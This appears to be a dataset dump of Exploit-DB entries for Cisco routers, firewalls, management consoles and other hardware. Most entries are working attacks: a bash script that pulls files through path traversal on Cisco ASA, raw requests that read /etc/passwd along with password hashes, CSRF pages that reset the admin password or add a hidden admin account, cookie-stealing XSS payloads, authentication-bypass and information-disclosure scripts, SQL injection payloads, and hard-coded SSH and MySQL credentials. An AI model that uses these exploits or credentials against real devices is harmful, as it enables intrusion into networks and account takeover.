deardaniel/secdata-raw huggingface dataset:
Exploit-DB #48871
Description: Cisco ASA and FTD 9.6.4.42 - Path Traversal
Type: webapps
Platform: hardware
Date: 2020-10-12
Author: 3ndG4me

Exploit:
# Exploit Title: Cisco ASA and FTD 9.6.4.42 - Path Traversal
# Date: 2020-10-10
# Exploit Author: 3ndG4me
# Vendor: www.cisco.com
# Product: https://www.cisco.com/c/en/us/products/security/asa-firepower-services/index.html
# CVE : CVE-2020-3452



TARGET=$1
CISCO_KNOWN_FILES="logo.gif http_auth.html user_dialog.html localization_inc.lua portal_inc.lua include nostcaccess.html ask.html no_svc.html svc.html session.js useralert.html ping.html help app_index.html tlbr portal_forms.js logon_forms.js win.js portal.css portal.js sess_update.html blank.html noportal.html portal_ce.html portal.html home logon_custom.css portal_custom.css preview.html session_expired custom portal_elements.html commonspawn.js common.js appstart.js appstatus relaymonjar.html relaymonocx.html relayjar.html relayocx.html portal_img color_picker.js color_picker.html cedhelp.html cedmain.html cedlogon.html cedportal.html cedsave.html cedf.html ced.html lced.html files[PII_REDACTED]32C2[PII_REDACTED]32U2 pluginlib.js shshim do_url clear_cache connection_failed_form apcf ucte_forbidden_data ucte_forbidden_url cookie session_password.html tunnel_linux.jnlp tunnel_mac.jnlp sdesktop gp-gip.html auth.html wrong_url.html logon_redirect.html logout.html logon.html test_chargen"
mkdir cisco_asa_files

if [ -z "$1" ];
then
    echo "Usage: cve-2020-3452.sh <target ip/hostname>"
    echo "Example: cve-2020-3452.sh mytarget.com"
    echo "Files that are downloaded will be in the newly created 'cisco_asa_files' directory"
    echo "Target not specificed...exiting..."
else
    for FILE in $CISCO_KNOWN_FILES;
    do
        curl "https://$TARGET/+CSCOT+/translation-table?type=mst&textdomain=%2bCSCOE%2b/${FILE}&default-language&lang=../" | tee cisco_asa_files/$FILE;
    done
fi
Exploit-DB #44070
Description: Cisco DPC3928 Router - Arbitrary File Disclosure
Type: webapps
Platform: hardware
Date: 2017-05-10
Author: SecuriTeam

Exploit:
## Vulnerability Summary
The following advisory describes an arbitrary file disclosure vulnerability found in Cisco DPC3928AD DOCSIS 3.0 2-PORT Voice Gateway.

The Cisco DPC3928AD DOCSIS is a home wireless router that is currently "Out of support" but is provided by ISPs world wide.

## Credit
An independent security researcher has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program.

## Vendor response
We reported the vulnerability to Cisco and they informed us that the Cisco DPC3928AD sold to Technicolor: “The Cisco DPC3928AD was actually sold to Technicolor a while back. In this case, we will ask you to please contact Technicolor at security@technicolor.com to open a case with them”

After connecting Technicolor, they informed us that the product has reached end of life and they will not patch the vulnerability: “After an extensive search for the product to perform validation, we were unable to source the gateway to validate your proof of concept. Due to the end-of-sale and end-of-life of the product Technicolor will not be patching the bug.”

CVE: CVE-2017-11502

## Vulnerability details
Cisco DPC3928AD DOCSIS 3.0 2-PORT Voice Gateway vulnerability is present on its TCP/4321 port .

## Proof of Concept
An attacker can get the /etc/passwd file from the remote device, by sending the following request:


```
GET /../../../../../../../../../../../../../../../../etc/passwd
HTTP/1.1
Host: 192.168.0.10:4321
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
```

The Router response the next output with the passwd content:

```
HTTP/1.1 200 OK
Content-Type: text/html
SERVER: Linux/#2 Wed Nov 12 10:23:46 CST 2014 UPnP/1.0 Broadcom
UPNP/0.9
Content-Length: 247
Accept-Ranges: bytes
Date: Thu, 10 Nov 2016 16:01:04 GMT

root:HAdbdMWcXHOuKQ:0:0:root:/:/bin/sh
admin:KASJakljhHqiuJ:0:0:aDMINISTRATOR:/:/bin/false
```
Exploit-DB #30362
Description: Cisco EPC3925 - Cross-Site Request Forgery
Type: webapps
Platform: hardware
Date: 2013-12-16
Author: Jeroen - IT Nerdbox

Exploit:
#######################################################################
# Exploit Title: Cisco EPC3925 � Cross Site Request Forgery
# Google Dork: N/A
# Date: 12-11-2013
# Exploit Author: Jeroen - IT Nerdbox
# Vendor Homepage: http://www.cisco.com 
# Software Link: Not public
# Version: epc3925-E10-5-v302r[PII_REDACTED]20c
# Tested on: Cisco EPC3925 
# CVE: N/A
#######################################################################
# Description:
# 
# This proof of concept demonstrates that the admin password can be 
# changed by an attacker in a CSRF attack. However, it seems like any
# setting in the device can be manipulated using an attack like this.
#
#
# Side note: The device does not ask for the current password.
#            
#
# Location:
#
# POST http://[target]/goform/Quick_setup
#
# Parameters:
#
# [CREDENTIAL_REDACTED]=&save=Save+Settings
#
# PoC: 
#
# <html>
#
# <form name="reseller" method="POST"
action="http://[target]/goform/Quick_setup" id="csrf_attack"
target="csrf_iframe">
#   <input type="hidden" name="Password" value="attackers_password">
#   <input type="hidden" name="PasswordReEnter" value="attackers_password">
#   <input type="hidden" name="save" value="Save Settings">
# </form>
#
# <iframe id="csrf_iframe" style="visibility:hidden;display:none"></iframe>
#
# <script>
#  document.getElementById('csrf_attack').submit();
# </script>
# <center>The payload has been executed....</center>
#
# </html> 
#
# Check out the video at: http://www.nerdbox.it/cisco-epc3925-csrf-vulnerability/
Exploit-DB #30415
Description: Cisco EPC3925 - Persistent Cross-Site Scripting
Type: webapps
Platform: hardware
Date: 2013-12-21
Author: Jeroen - IT Nerdbox

Exploit:
#######################################################################

# Exploit Title: Cisco EPC3925 - Persistent Cross Site Scripting 

# Google Dork: N/A 

# Date: 12-11-2013 

# Exploit Author: Jeroen - IT Nerdbox 

# Vendor Homepage: http://www.cisco.com 

# Software Link: Not public 

# Version: epc3925-E10-5-v302r[PII_REDACTED]20c 

# Tested on: Cisco EPC3925 

# CVE: N/A

#######################################################################

# Description

# The parameter DdnsHostName is vulnerable to Persistent Cross Site Scripting. 

# However, there is client side input validation, which can easily be bypassed.

#

# Location:

#

# POST http://[target]/goform/Setup_DDNS 

# 

# Parameters:

#

#DdnsService=0&DdnsUserName=xxx&Ddns[CREDENTIAL_REDACTED]=<Enter Payload Here>&save=Save+Settings 

# 

# Payload 

# 

# PoC: "><input onmouseover=prompt(document.cookie)>

#

# Check out the video at: http://www.nerdbox.it/cisco-epc3925-persistent-xss/
Exploit-DB #46263
Description: Cisco Firepower Management Center 6.2.2.2 / 6.2.3 - Cross-Site Scripting
Type: webapps
Platform: hardware
Date: 2019-01-28
Author: Bhushan B. Patil

Exploit:
# Exploit Title: Cisco Firepower Management Center Cross-Site Scripting (XSS) Vulnerability
# Google Dork: N/A
# Date: 23-01-2019
################################
# Exploit Author: Bhushan B. Patil
################################
# Advisory URL: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190123-frpwr-mc-xss
# Affected Version: 6.2.2.2 & 6.2.3
# Cisco Bug ID: CSCvk30983
# CVE: CVE-2019-1642

1. Technical Description:
A vulnerability in the web-based management interface of Cisco Firepower Management Center (FMC) software could allow an unauthenticated, remote attacker to conduct a cross-site scripting (XSS) attack against a user of the web-based management interface of the affected software.
The vulnerability is due to insufficient validation of user-supplied input by the web-based management interface of the affected software. An attacker could exploit this vulnerability by persuading a user of the interface to click a crafted link. A successful exploit could allow the attacker to execute arbitrary script code in the context of the affected interface or access sensitive, browser-based information.

2. Proof Of Concept:
Login to Cisco Firepower Management Center (FMC) and browse to Systems -> Configuration menu.
https://<ip address>/platinum/platformSettingEdit.cgi?type=TimeSetting

Append the following XSS payload >"><script>alert("XXS POC")</script>& in the URL

The URL will become and on submitting it you'll get an alert popup.
https://<ip address>/platinum/platformSettingEdit.cgi?type=>"><script>alert("XXS POC")</script>&

3. Solution:
Upgrade to version 6.3.0
For more information about fixed software releases, consult the Cisco bug ID CSCvk30983<https://bst.cloudapps.cisco.com/bugsearch/bug/CSCvk30983>

4. Reference:
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190123-frpwr-mc-xss
Exploit-DB #46262
Description: Cisco RV300 / RV320 - Information Disclosure
Type: webapps
Platform: hardware
Date: 2019-01-28
Author: Harom Ramos

Exploit:
# Exploit Title: 6coRV Exploit
# Date: 01-26-2018
# Exploit Author: Harom Ramos [Horus]
# Tested on: Cisco RV300/RV320
# CVE : CVE-2019-1653

import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
from fake_useragent import UserAgent

def random_headers():
    return dict({'user-agent': UserAgent().random})

def request(url):
    r = requests.Session()
    try:
        get =  r.get(url, headers = random_headers(), timeout = 5, verify=False)#, allow_redirects=False
        if get.status_code == 200:  
            return get.text    
    except requests.ConnectionError:
        return 'Error Conecting'
    except requests.Timeout:
	    return 'Error Timeout'
    except KeyboardInterrupt:
        raise    
    except:
        return 0

print("")        
print("##################################################")
print("CISCO CVE-2019-1653 POC")
print("From H. with love")
print("")

url = raw_input("URL> EX:http://url:port/ ") 
url = url + "/cgi-bin/config.exp"
print(request(url))
Exploit-DB #44650
Description: Cisco SA520W Security Appliance - Path Traversal
Type: webapps
Platform: hardware
Date: 2018-05-18
Author: Nassim Asrir

Exploit:
# Title: Cisco SA520W Security Appliance - Path Traversal
# Author: Nassim Asrir
# Contact: wassline@gmail.com / https://www.linkedin.com/in/nassim-asrir-b73a57122/
# Vendor: https://www.cisco.com/
# About Product:
===============
Cisco SA 500 Series Security Appliances are designed for businesses with fewer than 100 employees. 
They combine firewall, VPN, and optional intrusion prevention system (IPS), email, and web security capabilities. Whether in the office or working remotely, your employees can securely access the resources they need, while your business is protected from unauthorized access and Internet threats.

# POC
====================

//In our poc we will try to read /etc/passwd

The vulnerable Parameter: thispage

payload: ..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd%00index.htm

Request Type: POST

Request:
=======

POST /scgi-bin/platform.cgi HTTP/1.1
Host: host-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: https://70.186.255.169/scgi-bin/platform.cgi
Content-Type: application/x-www-form-urlencoded
Content-Length: 311
Connection: close
Upgrade-Insecure-Requests: 1

thispage=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd%00index.htm&SSLVPNUser.UserName=admin&SSLVPNUser.[CREDENTIAL_REDACTED].login.routerStatus=Log+In&Login.userAgent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%3B+rv%3A58.0%29+Gecko%2F20100101+Firefox%2F58.0

Response:
========

HTTP/1.0 200 OK
Date: Sat, 01 Jan 2000 00:00:41 GMT
Server: Embedded HTTP Server.
Connection: close
root:$1$omdZQoH8$bFOOjhl.E7BKKzvW/bRJe0:0:0:root:/:/bin/sh
nobody:x:0:0:nobody:/nonexistent:/bin/false

#Timeline:
=========
	
18 Apr 2018 : First Contact with Cisco.
18 Apr 2018 : Cisco Ask me for more details about the vulnerability.
18 Apr 2018 : Details sent to Cisco
19 Apr 2018 : Ask for update
15 May 2018 : Cisco say "The product you reference went end of support in April 2016 No further action will be taken."
18 May 2018 : Public Disclosure
Exploit-DB #51589
Description: Cisco UCS-IMC Supervisor 2.2.0.0 - Authentication Bypass
Type: webapps
Platform: hardware
Date: 2023-07-15
Author: Fatih Sencer

Exploit:
[+] Exploit Title: Cisco UCS-IMC Supervisor 2.2.0.0 - Authentication Bypass
[+] Cisco IMC Supervisor - < 2.2.1.0
[+] Date: 08/21/2019
[+] Affected Component: /app/ui/ClientServlet?apiName=GetUserInfo
[+] Vendor: https://www.cisco.com/c/en/us/products/servers-unified-computing/integrated-management-controller-imc-supervisor/index.html
[+] Vulnerability Discovery : Pedro Ribeiro
[+] Exploit Author: Fatih Sencer
[+] CVE: CVE-2019-1937
----------------------------------------------------

Usage:

./python3 CiscoIMC-Bypass.py -u host

[+] Target https://xxxxxx.com
[+] Target OK
[+] Exploit Succes
[+] Login name : admin
[+] Cookie : REACTED

"""

import argparse,requests,warnings,base64,json,random,string
from requests.packages.urllib3.exceptions import InsecureRequestWarning

warnings.simplefilter('ignore',InsecureRequestWarning)


def init():
    parser = argparse.ArgumentParser(description='Cisco IMC Supervisor / Authentication Bypass')
    parser.add_argument('-u','--host',help='Host', type=str, required=True)
    args = parser.parse_args()
    exploit(args)

def exploit(args):
    session = requests.Session()
    headers = {
        "User-Agent":                   "Mozilla/5.0 (Macintosh; Intel Mac OS X 13_4)",
        "X-Requested-With":             "XMLHttpRequest",
        "Referer":                      "https://{}/".format(args.host),
        "X-Starship-UserSession-Key":   ''.join(random.choices(string.ascii_uppercase + string.digits, k=10)),
        "X-Starship-Request-Key":   ''.join(random.choices(string.ascii_uppercase + string.digits, k=10))
    }
    target = "https://{}/app/ui/ClientServlet?apiName=GetUserInfo".format(args.host)
    print("[+] Target {}".format(args.host))
    
    exp_send = session.get(target, headers=headers, verify=False, timeout=10)

    if exp_send.status_code == 200:
        print("[+] Target OK")
        body_data = json.loads(exp_send.text)
        if not (body_data.get('loginName') is None):
            print("[+] Exploit Succes")
            print("[+] Login name : {}".format(body_data.get('loginName')))
            print("[+] Cookie : {}".format(session.cookies.get_dict()))
        else:
            print("[-] Exploit Failed")
            
    else:
        print("[-] N/A")
        exit()

if __name__ == "__main__":
    init()
Exploit-DB #40887
Description: Cisco Unified Communications Manager 7/8/9 - Directory Traversal
Type: webapps
Platform: hardware
Date: 2016-12-07
Author: justpentest

Exploit:
# Exploit Title: Cisco Unified Communications Manager Administrative Web Interface Directory traversal CVE-2013-5528
# Date: 7th December 2016
# Exploit Author: justpentest
# Vendor Homepage: https://software.cisco.com/
# Software Link: https://software.cisco.com/download/navigator.html?mdfid=268439621
# Version: Cisco Unified Communications Manager Administrative Web Interface unpatched version of 7.x, 8.x or 9.x software
# Contact: transform2secure@gmail.com
# CVE : CVE-2013-5528


1) Description: 
Directory traversal vulnerability exists in Cisco Unified Communications Manager Administrative Web Interface CVE-2013-5528.
The vulnerability is due to a failure to properly sanitize user-supplied input passed to a specific function. 
An attacker could exploit this vulnerability by supplying a series of directory traversal characters after authentication, allowing the attacker to designate a file outside the restricted directory to be returned. 
An exploit could allow the attacker to obtain the contents of any file that is readable by the Apache Tomcat service account.

2) Exploit:
http://justpentest.com/ccmadmin/bulkvivewfilecontents.do?filetype=samplefile&fileName=../../../../../../../../../../../../../../../../etc/passwd

3) Fixed version:
Cisco has fixed the vulnerability in 9.1.2, 10.5.2 and 11.5.x.

For more details visit http://justpentest.blogspot.in/2016/12/lfi-and-xss-on-cisco-unified-CM-CVE-2013-5528.html

4) References:
 https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/Cisco-SA-20131011-CVE-2013-5528 
https://bst.cloudapps.cisco.com/bugsearch/bug/CSCui78815
Exploit-DB #47153
Description: Cisco Wireless Controller 3.6.10E - Cross-Site Request Forgery
Type: webapps
Platform: hardware
Date: 2019-07-24
Author: Mehmet Onder

Exploit:
# Product : Cisco Wireless Controller
# Version : 3.6.10E (last version)
# Date: 23.07.2019
# Vendor Homepage: https://www.cisco.com
# Exploit Author: Mehmet Önder Key
# Website: htts://cloudvist.com
# CVE: CVE-2019-12624
# Description : The application interface allows users to perform certain
actions via HTTP requests without performing any validity checks to verify
the requests. This can be exploited to perform certain actions with
administrative privileges if a logged-in user visits a malicious web site.
# Tested On : Win10 & KaliLinux

Add Admin CSRF Payload @Cisco Wireless Controller
---------------
<html>
  <body>
    <form action="http://IP/security/cfgSecurityAAAUsersCreate
<http://192.168.115.83/security/cfgSecurityAAAUsersCreate>" method="POST">
      <input type="hidden" name="username" value="secretadmin" />
      <input type="hidden" name="privilege" value="15" />
      <input type="hidden" name="password" value="K3Y" />
      <input type="hidden" name="description" value="CSRF" />
      <input type="hidden" name="type" value="lobby-admin" />
      <input type="hidden" name="cfnpassword" value="K3Y" />
      <input type="hidden" name="yearlife" value="2013" />
      <input type="hidden" name="hourlife" value="16" />
      <input type="hidden" name="monthlife" value="7" />
      <input type="hidden" name="minlife" value="17" />
      <input type="hidden" name="datelife" value="16" />
      <input type="hidden" name="seclife" value="0" />
      <input type="submit" value="submit" />
    </form>
  </body>
</html>
Exploit-DB #46993
Description: CleverDog Smart Camera DOG-2W / DOG-2W-V4 - Multiple Vulnerabilities
Type: webapps
Platform: hardware
Date: 2019-06-17
Author: Alex Akinbi

Exploit:
1. Advisory Information
========================================
Title: Clever Dog Smart Camera
Vendor Homepage: http://www.cleverdog.com.cn/
Tested on Camera types	: DOG-2W, DOG-2W-V4
Vulnerability: Hardware- Multiple Vulnerabilities
Date: 14/06/2019
Author: Alex Akinbi      Twitter: @alexakinbi 

1. Unauthenticated file disclosure:
========================================
An attacker on the local network has unauthenticated access to the internal SD card via HTTP service on port 8000. The HTTP web server on the camera allows an attacker to download video archive recorded and saved on the external memory card attached. 
For example: http://192.168.1.81:8000/20190606

2. Telnet Backdoor using default credentials:
========================================
An attacker on the network can login remotely to the camera and gain root access. The device ships with hard-coded credentials, accessible from a telnet login prompt using credentials username: " root" and [CREDENTIAL_REDACTED]". These credentials work on all devices.

3. Login password sent over network unencrypted using Clever Dog App:
========================================
Using a packet sniffer, an attacker on the same network can capture data packets and view
captured user login password MD5 hash. A weak password can be cracked and used to login to the user account.


4. SOLUTION
========================================
Contact the vendor for further information regarding the proper mitigation of this vulnerability.
Exploit-DB #45446
Description: Collectric CMU 1.0 - 'lang' Hard-Coded Credentials / SQL injection
Type: webapps
Platform: hardware
Date: 2018-09-21
Author: Simon Brannstrom

Exploit:
# Exploit Title: Collectric CMU 1.0 - 'lang' SQL injection
# Google Dork: "Inloggning Collectric CMU"
# Discoverer: Simon Brannstrom
# Date: 2018-09-15
# Vendor Homepage: http://ourenergy.se/
# Software Link: n/a
# Version: All known versions
# Tested on: Linux
# CVE: N/A
# About: Collectric CMU is a Swedish made controller device for electrical devices such as car heaters, 
# camping sites etc, powered by a NGW board running Linux 2.6.30 with a PHP admin interface. 
# More vulnerabilities exists, see my other vulnerability reports.

# Parameter: lang (GET)
# Type: boolean-based blind
# Title: AND boolean-based blind - WHERE or HAVING clause

Payload: username=yUqg&lang=SWEDISH' AND 1320=1320 AND 'EXAr'='EXAr&[CREDENTIAL_REDACTED]=setcookie&submit=Logga in

# Type: AND/OR time-based blind
# Title: MySQL >= 5.0.12 AND time-based blind

Payload: username=yUqg&lang=SWEDISH' AND SLEEP(5) AND 'kglV'='kglV&[CREDENTIAL_REDACTED]=setcookie&submit=Logga in


# Exploit Title: Collectric CMU - Hard-coded SSH/MySQL/Web credentials.
# Discoverer: Simon Brannstrom
# Date: 09/15/2018
# Vendor Homepage: http://ourenergy.se/
# Software Link: n/a
# Version: All known versions
# Tested on: Linux
# About: Collectric CMU is a Swedish made controller device for electrical devices such as car heaters, camping sites etc, powered by a NGW board running Linux 2.6.30 with a PHP admin interface.
More vulnerabilities exists, see my other vulnerability reports.

---
Web Portal hard-coded credentials:
username: sysadmin
[CREDENTIAL_REDACTED]

SSH user/root credentials:
username: kplc
password: kplc

username: root
[CREDENTIAL_REDACTED]

*The SSH server is running Dropbear sshd 0.52 (protocol 2.0) which requires diffie-hellman-group1-sha1.

MySQL root credentials:
username: root
password: sql4u
---